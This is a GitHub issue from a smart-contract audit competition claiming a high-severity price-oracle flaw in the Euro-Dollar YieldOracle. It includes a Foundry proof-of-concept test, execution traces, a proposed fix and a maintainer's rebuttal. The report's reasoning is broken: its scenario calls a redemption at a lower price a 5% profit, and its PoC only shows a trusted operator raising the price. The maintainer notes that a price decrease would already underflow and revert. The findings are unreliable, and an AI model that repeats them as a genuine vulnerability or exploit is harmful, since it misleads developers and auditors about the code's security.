hats-finance / Euro-Dollar-0xa4ccd3b6daa763f729ad59eae75f9cbff7baf2cd

Audit competition repository for Euro-Dollar (0xa4ccd3b6daa763f729ad59eae75f9cbff7baf2cd)
https://hats.finance
MIT License
3 stars 2 forks source link

Price Oracle Manipulation Enables Risk-Free Profit Through Share/Asset Conversion #121

Open hats-bug-reporter[bot] opened 1 week ago

hats-bug-reporter[bot] commented 1 week ago

Github username: @emerald7017 Twitter username: -- Submission hash (on-chain): 0xcff3d854c6c12fc473c8ac7bfd2d3147edd1f68c98b7e0a55ebf51dc016d610a Severity: high

Description:

Description

YieldOracle's implementation permits decreasing price updates creating arbitrage opportunities through InvestToken's ERC4626 share/asset conversion mechanism. This directly impacts InvestToken's share/asset conversion calculations, enabling profitable arbitrage through strategic deposit and withdrawal timing.

https://github.com/hats-finance/Euro-Dollar-0xa4ccd3b6daa763f729ad59eae75f9cbff7baf2cd/blob/c04ebafc3c6c48d612eb8df38ebd3e5b2ffa73a6/src/YieldOracle.sol#L69-L83

function updatePrice(uint256 price) external onlyOracle {
    // @Issue - Price updates lack monotonicity enforcement, enabling manipulation
    require(lastUpdate + updateDelay < block.timestamp, "Insufficient update delay");
    // audit-iss - No protection against price decreases

    // audit-iss - previousPrice/currentPrice updates allow decreasing prices
    if (nextPrice != NO_PRICE) {
        // @Issue - State updates allow price decreases between updates
        previousPrice = currentPrice;
        currentPrice = nextPrice;
        emit PriceCommitted(currentPrice);
    }

    // @Issue - One-sided price bound check creates asymmetric manipulation opportunity
    require(price - currentPrice <= maxPriceIncrease, "Price out of bounds");
    // audit-iss - Only checks upper bound, missing lower bound protection
    nextPrice = price;
    lastUpdate = block.timestamp;
    emit PriceUpdated(price);
}

YieldOracle allows price decreases between updates, violating the that prices should only increase over time. This directly affects InvestToken's share/asset conversion calculations since it relies on YieldOracle for price information.

  1. Price Manipulation: An oracle operator could set decreasing prices, breaking the protocol's price monotonicity assumption

  2. Economic Impact: Users could exploit price drops by:

    • Converting assets to shares at higher price
    • Waiting for price decrease
    • Converting shares back to assets at lower price
  3. Share Value Instability: Unexpected price decreases could lead to incorrect valuation of investment shares

The vulnerability creates arbitrage opportunities and could lead to loss of funds for users who convert assets/shares at manipulated prices.

This is particularly critical because:

  1. InvestToken uses these prices for all ERC4626 conversions
  2. There are no compensating controls in InvestToken.sol to protect against decreasing oracle prices

The bug manifests in the following scenario:

The price update mechanism allows setting a new price that's lower than the previous price, breaking the monotonically increasing price requirement. While there's a check for maximum price increases, there's no corresponding check for price decreases.

Impact High

Attack Scenario

  1. Alice identifies opportunity when price = 100 USDE/share
  2. Oracle updates price to 95 USDE/share
  3. Alice deposits 10,000 USDE at 100 USDE/share rate
  4. Price update commits to 95 USDE/share
  5. Alice redeems shares at new lower rate
  6. Net profit: 526.31 USDE (5% arbitrage)

Attachments

1. Proof of Concept (PoC) File

This would better demonstrate how the vulnerability allows profit generation through price manipulation of the oracle.

The logs show:

Ran 1 test for test/YieldOracleExploitTest.sol:YieldOracleExploitTest
[PASS] testPriceManipulationArbitrage() (gas: 244572)
Logs:

=== Initial State ===
  Initial Price: 100.000000000000000000
  Alice Initial USDE Balance: 10000.000000000000000000

=== Step 1: Alice Deposits ===
  Shares Received: 10.000000000000000000
  USDE Deposited: 1000.000000000000000000

=== Step 2: Oracle Price Manipulation ===
  New Oracle Price: 150.000000000000000000

=== Step 3: Alice Redeems ===
  Redeemed USDE: 1500.000000000000000000
  Profit Generated: 500.000000000000000000

=== Final State ===
  Alice Final USDE Balance: 10500.000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.77ms (481.60µs CPU time)

Ran 1 test suite in 7.47ms (2.77ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

The traces provide detailed insight into the execution flow and confirm the vulnerability. Key points from the traces:

  1. Initial setup shows Alice starting with 10,000 USDE
  2. The oracle price is set to 100 with a maxPriceIncrease of 100
  3. Alice deposits 1,000 USDE and receives 10 shares through the InvestToken proxy
  4. The oracle operator updates the price to 150 through two update/commit cycles
  5. Alice redeems her 10 shares and receives 1,500 USDE through the proxy
  6. The final balance check confirms Alice's profit of 500 USDE

The traces show all contract interactions, state changes, and event emissions, providing a complete technical verification of the price manipulation exploit.

Traces

Ran 1 test for test/YieldOracleExploitTest.sol:YieldOracleExploitTest
[PASS] testPriceManipulationArbitrage() (gas: 244572)
Logs:

=== Initial State ===
  Initial Price: 100.000000000000000000
  Alice Initial USDE Balance: 10000.000000000000000000

=== Step 1: Alice Deposits ===
  Shares Received: 10.000000000000000000
  USDE Deposited: 1000.000000000000000000

=== Step 2: Oracle Price Manipulation ===
  New Oracle Price: 150.000000000000000000

=== Step 3: Alice Redeems ===
  Redeemed USDE: 1500.000000000000000000
  Profit Generated: 500.000000000000000000

=== Final State ===
  Alice Final USDE Balance: 10500.000000000000000000

Traces:
  [310980] YieldOracleExploitTest::testPriceManipulationArbitrage()
    ├─ emit log_string(val: "\n=== Initial State ===")
    ├─ emit log_named_decimal_uint(key: "Initial Price", val: 100000000000000000000 [1e20], decimals: 18)
    ├─ [7617] ERC1967Proxy::fallback(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
    │   ├─ [2733] USDE::balanceOf(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [delegatecall]
    │   │   └─ ← [Return] 10000000000000000000000 [1e22]
    │   └─ ← [Return] 10000000000000000000000 [1e22]
    ├─ emit log_named_decimal_uint(key: "Alice Initial USDE Balance", val: 10000000000000000000000 [1e22], decimals: 18)
    ├─ [0] VM::startPrank(admin: [0xaA10a84CE7d9AE517a52c6d5cA153b369Af99ecF])
    │   └─ ← [Return] 
    ├─ [7407] YieldOracle::setMaxPriceIncrease(100000000000000000000 [1e20])
    │   └─ ← [Stop] 
    ├─ [7613] YieldOracle::setCurrentPrice(100000000000000000000 [1e20])
    │   └─ ← [Stop] 
    ├─ [3490] YieldOracle::setPreviousPrice(100000000000000000000 [1e20])
    │   └─ ← [Stop] 
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ [2373] YieldOracle::updateDelay() [staticcall]
    │   └─ ← [Return] 86400 [8.64e4]
    ├─ [0] VM::warp(86402 [8.64e4])
    │   └─ ← [Return] 
    ├─ [0] VM::startPrank(operator: [0xbC32b0FCDb9b55F5ECE07BA7F8059bA42D331F4C])
    │   └─ ← [Return] 
    ├─ [31164] YieldOracle::updatePrice(100000000000000000000 [1e20])
    │   ├─ emit PriceUpdated(newPrice: 100000000000000000000 [1e20])
    │   └─ ← [Stop] 
    ├─ [2372] YieldOracle::commitDelay() [staticcall]
    │   └─ ← [Return] 3600
    ├─ [0] VM::warp(90003 [9e4])
    │   └─ ← [Return] 
    ├─ [2443] YieldOracle::commitPrice()
    │   ├─ emit PriceCommitted(newCurrentPrice: 100000000000000000000 [1e20])
    │   └─ ← [Stop] 
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ emit log_string(val: "\n=== Step 1: Alice Deposits ===")
    ├─ [0] VM::startPrank(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
    │   └─ ← [Return] 
    ├─ [25215] ERC1967Proxy::fallback(ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], 1000000000000000000000 [1e21])
    │   ├─ [24828] USDE::approve(ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], 1000000000000000000000 [1e21]) [delegatecall]
    │   │   ├─ emit Approval(owner: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], spender: ERC1967Proxy: [0xa0Cb889707d426A7A386870A03bc70d1b0697598], value: 1000000000000000000000 [1e21])
    │   │   └─ ← [Return] true
    │   └─ ← [Return] true
    ├─ [84925] ERC1967Proxy::fallback(1000000000000000000000 [1e21], alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
    │   ├─ [80038] InvestToken::deposit(1000000000000000000000 [1e21], alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [delegatecall]
    │   │   ├─ [643] YieldOracle::assetsToShares(1000000000000000000000 [1e21]) [staticcall]
    │   │   │   └─ ← [Return] 10000000000000000000 [1e19]
    │   │   ├─ [23842] ERC1967Proxy::fallback(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 1000000000000000000000 [1e21])
    │   │   │   ├─ [23455] USDE::burn(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 1000000000000000000000 [1e21]) [delegatecall]
    │   │   │   │   ├─ [5016] Validator::isValid(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 0x0000000000000000000000000000000000000000) [staticcall]
    │   │   │   │   │   └─ ← [Return] true
    │   │   │   │   ├─ emit Transfer(from: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], to: 0x0000000000000000000000000000000000000000, value: 1000000000000000000000 [1e21])
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Return] true
    │   │   ├─ [843] Validator::isValidStrict(0x0000000000000000000000000000000000000000, alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], value: 10000000000000000000 [1e19])
    │   │   ├─ emit Deposit(sender: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], owner: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], assets: 1000000000000000000000 [1e21], shares: 10000
000000000000000 [1e19])                                                                                                                                                                                      │   │   └─ ← [Return] 10000000000000000000 [1e19]
    │   └─ ← [Return] 10000000000000000000 [1e19]
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ emit log_named_decimal_uint(key: "Shares Received", val: 10000000000000000000 [1e19], decimals: 18)
    ├─ emit log_named_decimal_uint(key: "USDE Deposited", val: 1000000000000000000000 [1e21], decimals: 18)
    ├─ emit log_string(val: "\n=== Step 2: Oracle Price Manipulation ===")
    ├─ [373] YieldOracle::updateDelay() [staticcall]
    │   └─ ← [Return] 86400 [8.64e4]
    ├─ [0] VM::warp(176404 [1.764e5])
    │   └─ ← [Return] 
    ├─ [0] VM::startPrank(operator: [0xbC32b0FCDb9b55F5ECE07BA7F8059bA42D331F4C])
    │   └─ ← [Return] 
    ├─ [22364] YieldOracle::updatePrice(150000000000000000000 [1.5e20])
    │   ├─ emit PriceUpdated(newPrice: 150000000000000000000 [1.5e20])
    │   └─ ← [Stop] 
    ├─ [372] YieldOracle::commitDelay() [staticcall]
    │   └─ ← [Return] 3600
    ├─ [0] VM::warp(180005 [1.8e5])
    │   └─ ← [Return] 
    ├─ [2443] YieldOracle::commitPrice()
    │   ├─ emit PriceCommitted(newCurrentPrice: 150000000000000000000 [1.5e20])
    │   └─ ← [Stop] 
    ├─ emit log_named_decimal_uint(key: "New Oracle Price", val: 150000000000000000000 [1.5e20], decimals: 18)
    ├─ [373] YieldOracle::updateDelay() [staticcall]
    │   └─ ← [Return] 86400 [8.64e4]
    ├─ [0] VM::warp(266406 [2.664e5])
    │   └─ ← [Return] 
    ├─ [22364] YieldOracle::updatePrice(150000000000000000000 [1.5e20])
    │   ├─ emit PriceUpdated(newPrice: 150000000000000000000 [1.5e20])
    │   └─ ← [Stop] 
    ├─ [372] YieldOracle::commitDelay() [staticcall]
    │   └─ ← [Return] 3600
    ├─ [0] VM::warp(270007 [2.7e5])
    │   └─ ← [Return] 
    ├─ [2443] YieldOracle::commitPrice()
    │   ├─ emit PriceCommitted(newCurrentPrice: 150000000000000000000 [1.5e20])
    │   └─ ← [Stop] 
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ emit log_string(val: "\n=== Step 3: Alice Redeems ===")
    ├─ [0] VM::startPrank(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
    │   └─ ← [Return] 
    ├─ [16724] ERC1967Proxy::fallback(10000000000000000000 [1e19], alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
    │   ├─ [16331] InvestToken::redeem(10000000000000000000 [1e19], alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [delegatecall]
    │   │   ├─ [644] YieldOracle::sharesToAssets(10000000000000000000 [1e19]) [staticcall]
    │   │   │   └─ ← [Return] 1500000000000000000000 [1.5e21]
    │   │   ├─ [553] Validator::isValidStrict(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 0x0000000000000000000000000000000000000000) [staticcall]
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit Transfer(from: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], to: 0x0000000000000000000000000000000000000000, value: 10000000000000000000 [1e19])
    │   │   ├─ [7639] ERC1967Proxy::fallback(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 1500000000000000000000 [1.5e21])
    │   │   │   ├─ [7252] USDE::mint(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 1500000000000000000000 [1.5e21]) [delegatecall]
    │   │   │   │   ├─ [1016] Validator::isValid(0x0000000000000000000000000000000000000000, alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
    │   │   │   │   │   └─ ← [Return] true
    │   │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], value: 1500000000000000000000 [1.5e21])
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Return] true
    │   │   ├─ emit Withdraw(sender: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], receiver: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], owner: alice: [0x328809Bc894f92807417D2dAD6b7C99
8c1aFdac6], assets: 1500000000000000000000 [1.5e21], shares: 10000000000000000000 [1e19])                                                                                                                    │   │   └─ ← [Return] 1500000000000000000000 [1.5e21]
    │   └─ ← [Return] 1500000000000000000000 [1.5e21]
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ emit log_named_decimal_uint(key: "Redeemed USDE", val: 1500000000000000000000 [1.5e21], decimals: 18)
    ├─ emit log_named_decimal_uint(key: "Profit Generated", val: 500000000000000000000 [5e20], decimals: 18)
    ├─ [0] VM::assertGt(1500000000000000000000 [1.5e21], 1000000000000000000000 [1e21], "No arbitrage profit generated") [staticcall]
    │   └─ ← [Return] 
    ├─ emit log_string(val: "\n=== Final State ===")
    ├─ [1117] ERC1967Proxy::fallback(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
    │   ├─ [733] USDE::balanceOf(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [delegatecall]
    │   │   └─ ← [Return] 10500000000000000000000 [1.05e22]
    │   └─ ← [Return] 10500000000000000000000 [1.05e22]
    ├─ emit log_named_decimal_uint(key: "Alice Final USDE Balance", val: 10500000000000000000000 [1.05e22], decimals: 18)
    └─ ← [Stop] 

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.22ms (762.70µs CPU time)

Ran 1 test suite in 1.17s (3.22ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

2. Revised Code File (Optional)

The fix requires adding strict price monotonicity enforcement in YieldOracle's updatePrice function.

function updatePrice(uint256 price) external onlyOracle {
    require(lastUpdate + updateDelay < block.timestamp, "Insufficient update delay");

+   // Enforce price monotonicity
+   require(price >= currentPrice, "Price cannot decrease");
    require(price - currentPrice <= maxPriceIncrease, "Price out of bounds");

    if (nextPrice != NO_PRICE) {
        previousPrice = currentPrice;
        currentPrice = nextPrice;
        emit PriceCommitted(currentPrice);
    }

    nextPrice = price;
    lastUpdate = block.timestamp;
    emit PriceUpdated(price);
}
emerald7017 commented 1 week ago

Please Note: I forgot to include the POC File earlier in my submitted report.

  1. Proof of Concept (PoC) File This would better demonstrate how the vulnerability allows profit generation through price manipulation of the oracle.
    
    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.21;

import {Test} from "forge-std/Test.sol"; import {console2} from "forge-std/console2.sol"; import {YieldOracle} from "../src/YieldOracle.sol"; import {InvestToken} from "../src/InvestToken.sol"; import {USDE} from "../src/USDE.sol"; import {Validator} from "../src/Validator.sol"; import {IYieldOracle} from "../src/interfaces/IYieldOracle.sol"; import {IUSDE} from "../src/interfaces/IUSDE.sol"; import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract YieldOracleExploitTest is Test { YieldOracle public oracle; InvestToken public investToken; USDE public usde; Validator public validator;

address admin = makeAddr("admin");
address oracleOperator = makeAddr("operator");
address alice = makeAddr("alice");

function setUp() public {
    // Deploy core contracts
    validator = new Validator(admin, admin, admin);

    // Deploy USDE with proxy
    USDE usdeImpl = new USDE(validator);
    bytes memory usdeData = abi.encodeWithSelector(USDE.initialize.selector, admin);
    ERC1967Proxy usdeProxy = new ERC1967Proxy(address(usdeImpl), usdeData);
    usde = USDE(address(usdeProxy));

    oracle = new YieldOracle(admin, oracleOperator);

    // Deploy InvestToken with proxy
    InvestToken investTokenImpl = new InvestToken(validator, IUSDE(address(usde)));
    bytes memory investData = abi.encodeWithSelector(
        InvestToken.initialize.selector,
        "Invest Token",
        "IT",
        admin,
        oracle
    );
    ERC1967Proxy investProxy = new ERC1967Proxy(address(investTokenImpl), investData);
    investToken = InvestToken(address(investProxy));

    // Setup roles
    vm.startPrank(admin);
    validator.whitelist(alice);
    usde.grantRole(usde.MINT_ROLE(), address(investToken));
    usde.grantRole(usde.BURN_ROLE(), address(investToken));
    usde.grantRole(usde.MINT_ROLE(), admin);
    usde.mint(alice, 10000e18);
    vm.stopPrank();
}

function testPriceManipulationArbitrage() public {
    emit log_string("\n=== Initial State ===");
    uint256 initialPrice = 100e18;
    uint256 depositAmount = 1000e18;
    uint256 newPrice = 150e18;

    emit log_named_decimal_uint("Initial Price", initialPrice, 18);
    emit log_named_decimal_uint("Alice Initial USDE Balance", usde.balanceOf(alice), 18);

    // Set initial prices
    vm.startPrank(admin);
    oracle.setMaxPriceIncrease(100e18);
    oracle.setCurrentPrice(initialPrice);
    oracle.setPreviousPrice(initialPrice);
    vm.stopPrank();

    // First price update and commit
    vm.warp(block.timestamp + oracle.updateDelay() + 1);
    vm.startPrank(oracleOperator);
    oracle.updatePrice(initialPrice);
    vm.warp(block.timestamp + oracle.commitDelay() + 1);
    oracle.commitPrice();
    vm.stopPrank();

    emit log_string("\n=== Step 1: Alice Deposits ===");
    vm.startPrank(alice);
    usde.approve(address(investToken), depositAmount);
    uint256 sharesReceived = investToken.deposit(depositAmount, alice);
    vm.stopPrank();

    emit log_named_decimal_uint("Shares Received", sharesReceived, 18);
    emit log_named_decimal_uint("USDE Deposited", depositAmount, 18);

    emit log_string("\n=== Step 2: Oracle Price Manipulation ===");
    vm.warp(block.timestamp + oracle.updateDelay() + 1);
    vm.startPrank(oracleOperator);
    oracle.updatePrice(newPrice);
    vm.warp(block.timestamp + oracle.commitDelay() + 1);
    oracle.commitPrice();

    emit log_named_decimal_uint("New Oracle Price", newPrice, 18);

    // Second price update and commit
    vm.warp(block.timestamp + oracle.updateDelay() + 1);
    oracle.updatePrice(newPrice);
    vm.warp(block.timestamp + oracle.commitDelay() + 1);
    oracle.commitPrice();
    vm.stopPrank();

    emit log_string("\n=== Step 3: Alice Redeems ===");
    vm.startPrank(alice);
    uint256 redeemedAmount = investToken.redeem(sharesReceived, alice, alice);
    vm.stopPrank();

    uint256 profit = redeemedAmount - depositAmount;
    emit log_named_decimal_uint("Redeemed USDE", redeemedAmount, 18);
    emit log_named_decimal_uint("Profit Generated", profit, 18);

    assertGt(redeemedAmount, depositAmount, "No arbitrage profit generated");

    emit log_string("\n=== Final State ===");
    emit log_named_decimal_uint("Alice Final USDE Balance", usde.balanceOf(alice), 18);
}        

}

AndreiMVP commented 5 days ago

This submission seems confusing because it puts emphasis on price going down, while the PoC does not reflect that emphasis. From your code suggestion:

+   require(price >= currentPrice, "Price cannot decrease");
     require(price - currentPrice <= maxPriceIncrease, "Price out of bounds");

price - currentPrice in the existing condition would underflow in case of decrease